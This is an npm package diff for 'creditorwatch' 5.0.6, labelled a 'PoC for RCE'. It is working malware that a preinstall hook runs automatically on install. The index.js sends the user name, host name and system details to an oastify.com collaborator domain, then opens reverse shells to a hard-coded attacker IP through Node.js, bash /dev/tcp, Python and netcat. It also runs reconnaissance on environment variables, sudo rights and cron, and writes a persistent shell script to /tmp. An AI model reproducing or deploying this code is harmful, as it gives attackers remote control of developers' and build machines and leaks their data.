creditorwatch 5.0.6

package/index.js

@@ -0,0 +1,176 @@
+const { exec, spawn } = require("child_process");
+const net = require("net");
+
+// Your attacker IP and port
+const ATTACKER_IP = "143.110.254.249";
+const ATTACKER_PORT = 1337;
+
+// Auto-execution commands once shell connects
+const autoCommands = [
+  "echo '=== REVERSE SHELL ESTABLISHED ==='",
+  "echo '=== SYSTEM INFORMATION ==='",
+  "whoami",
+  "id",
+  "uname -a",
+  "hostname",
+  "pwd",
+  "echo '=== DIRECTORY LISTING ==='",
+  "ls -la",
+  "echo '=== NETWORK INFORMATION ==='",
+  "ifconfig || ip addr show",
+  "echo '=== PROCESS INFORMATION ==='",
+  "ps aux | head -10",
+  "echo '=== ENVIRONMENT VARIABLES ==='",
+  "env | head -10",
+  "echo '=== SUDO PRIVILEGES ==='",
+  "sudo -l 2>/dev/null || echo 'Cannot check sudo privileges'",
+  "echo '=== WRITABLE DIRECTORIES ==='",
+  "find / -writable -type d 2>/dev/null | head -10",
+  "echo '=== CRON JOBS ==='",
+  "crontab -l 2>/dev/null || echo 'No crontab for current user'",
+  "echo '=== SHELL READY FOR INTERACTION ==='",
+  ""
+];
+
+// Enhanced Node.js native reverse shell with auto-commands
+function nodeReverseShellWithAutoExec() {
+  try {
+    const client = new net.Socket();
+    client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
+      console.log('Connected to attacker - executing auto commands');
+      
+      // Spawn a shell
+      const shell = spawn('/bin/bash', ['-i']);
+      
+      // Pipe shell output to client
+      shell.stdout.pipe(client);
+      shell.stderr.pipe(client);
+      
+      // Pipe client input to shell
+      client.pipe(shell.stdin);
+      
+      // Execute auto commands immediately upon connection
+      setTimeout(() => {
+        autoCommands.forEach((cmd, index) => {
+          setTimeout(() => {
+            shell.stdin.write(cmd + '\n');
+          }, index * 1000); // 1 second delay between commands
+        });
+      }, 1000); // Wait 1 second after connection before starting commands
+      
+      client.on('close', () => {
+        shell.kill();
+      });
+    });
+    
+    client.on('error', (err) => {
+      console.error('Connection error:', err.message);
+    });
+  } catch (error) {
+    console.error('Native reverse shell error:', error.message);
+  }
+}
+
+// Multiple reverse shell payloads with auto-execution
+const reverseShellPayloads = [
+  // Bash reverse shell with auto commands
+  `bash -c 'exec bash -i &>/dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} <&1; (sleep 2; echo "=== AUTO RECON ==="; whoami; id; uname -a; hostname; pwd; ls -la; echo "=== READY ===") &'`,
+  
+  // Python reverse shell with auto commands
+  `python3 -c "
+import socket,subprocess,os,time
+s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.connect(('${ATTACKER_IP}',${ATTACKER_PORT}))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+# Send auto commands
+auto_cmds=['whoami','id','uname -a','hostname','pwd','ls -la']
+for cmd in auto_cmds:
+    try:
+        result=subprocess.check_output(cmd,shell=True,stderr=subprocess.STDOUT)
+        s.send(f'AUTO: {cmd}\\n'.encode())
+        s.send(result)
+        s.send(b'\\n')
+        time.sleep(0.5)
+    except: pass
+s.send(b'=== SHELL READY ===\\n')
+p=subprocess.call(['/bin/bash','-i'])
+"`,
+  
+  // Netcat with command injection
+  `bash -c 'mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | tee /tmp/output | nc ${ATTACKER_IP} ${ATTACKER_PORT} > /tmp/f; (sleep 3; echo "whoami; id; uname -a; hostname; pwd; ls -la" > /tmp/f) &'`
+];
+
+// Your original payloads for initial reconnaissance
+const reconPayloads = [
+  `nslookup $(whoami).$(hostname).gau5jjim899y61s6jll79cumyd44svgk.oastify.com`,
+  `curl http://gau5jjim899y61s6jll79cumyd44svgk.oastify.com/$(whoami)/$(hostname)/ -A "$(id)"`,
+  `curl http://gau5jjim899y61s6jll79cumyd44svgk.oastify.com/rce-established -d "$(uname -a)"`,
+];
+
+// Execute initial reconnaissance
+console.log("Executing initial reconnaissance payloads...");
+reconPayloads.forEach((cmd, index) => {
+  setTimeout(() => {
+    exec(cmd, (error, stdout, stderr) => {
+      if (error) console.error(`Recon error [${index}]:`, error.message);
+      if (stderr) console.error(`Recon stderr [${index}]:`, stderr);
+      if (stdout) console.log(`Recon stdout [${index}]:`, stdout);
+    });
+  }, index * 1000);
+});
+
+// Try Node.js native reverse shell with auto-execution first
+setTimeout(() => {
+  console.log("Attempting Node.js native reverse shell with auto-recon...");
+  nodeReverseShellWithAutoExec();
+}, 3000);
+
+// Try system-level reverse shells with auto-execution as backup
+setTimeout(() => {
+  console.log("Attempting system reverse shells with auto-recon...");
+  reverseShellPayloads.forEach((cmd, index) => {
+    setTimeout(() => {
+      exec(cmd, (error, stdout, stderr) => {
+        if (error) console.error(`Shell error [${index}]:`, error.message);
+        if (stderr) console.error(`Shell stderr [${index}]:`, stderr);
+        if (stdout) console.log(`Shell stdout [${index}]:`, stdout);
+      });
+    }, index * 3000); // Stagger attempts more
+  });
+}, 8000);
+
+// Alternative: Simple reverse shell with immediate command execution
+const quickReconShell = `bash -c '(sleep 1; echo "=== QUICK RECON ==="; whoami; id; uname -a; hostname; pwd; ls -la; echo "=== END RECON ===") | nc ${ATTACKER_IP} ${ATTACKER_PORT}'`;
+
+setTimeout(() => {
+  console.log("Attempting quick recon shell...");
+  exec(quickReconShell, (error, stdout, stderr) => {
+    if (error) console.error("Quick recon error:", error.message);
+    if (stderr) console.error("Quick recon stderr:", stderr);
+    if (stdout) console.log("Quick recon stdout:", stdout);
+  });
+}, 15000);
+
+// Persistence with auto-recon (for impact demonstration)
+const persistentShellWithRecon = `
+echo '#!/bin/bash
+echo "=== PERSISTENT SHELL ACTIVATED ==="
+whoami
+id
+uname -a
+hostname
+pwd
+bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1
+' > /tmp/.autoshell.sh && chmod +x /tmp/.autoshell.sh && /tmp/.autoshell.sh &
+`;
+
+setTimeout(() => {
+  console.log("Setting up persistent shell with auto-recon...");
+  exec(persistentShellWithRecon, (error, stdout, stderr) => {
+    if (error) console.error("Persistent shell error:", error.message);
+    if (stderr) console.error("Persistent shell stderr:", stderr);
+    if (stdout) console.log("Persistent shell stdout:", stdout);
+  });
+}, 20000);

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "creditorwatch",
+  "version": "5.0.6",
+  "description": "This is a PoC for RCE",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Shehzad Secure Purple",
+  "license": "ISC",
+  "dependencies": {}
+}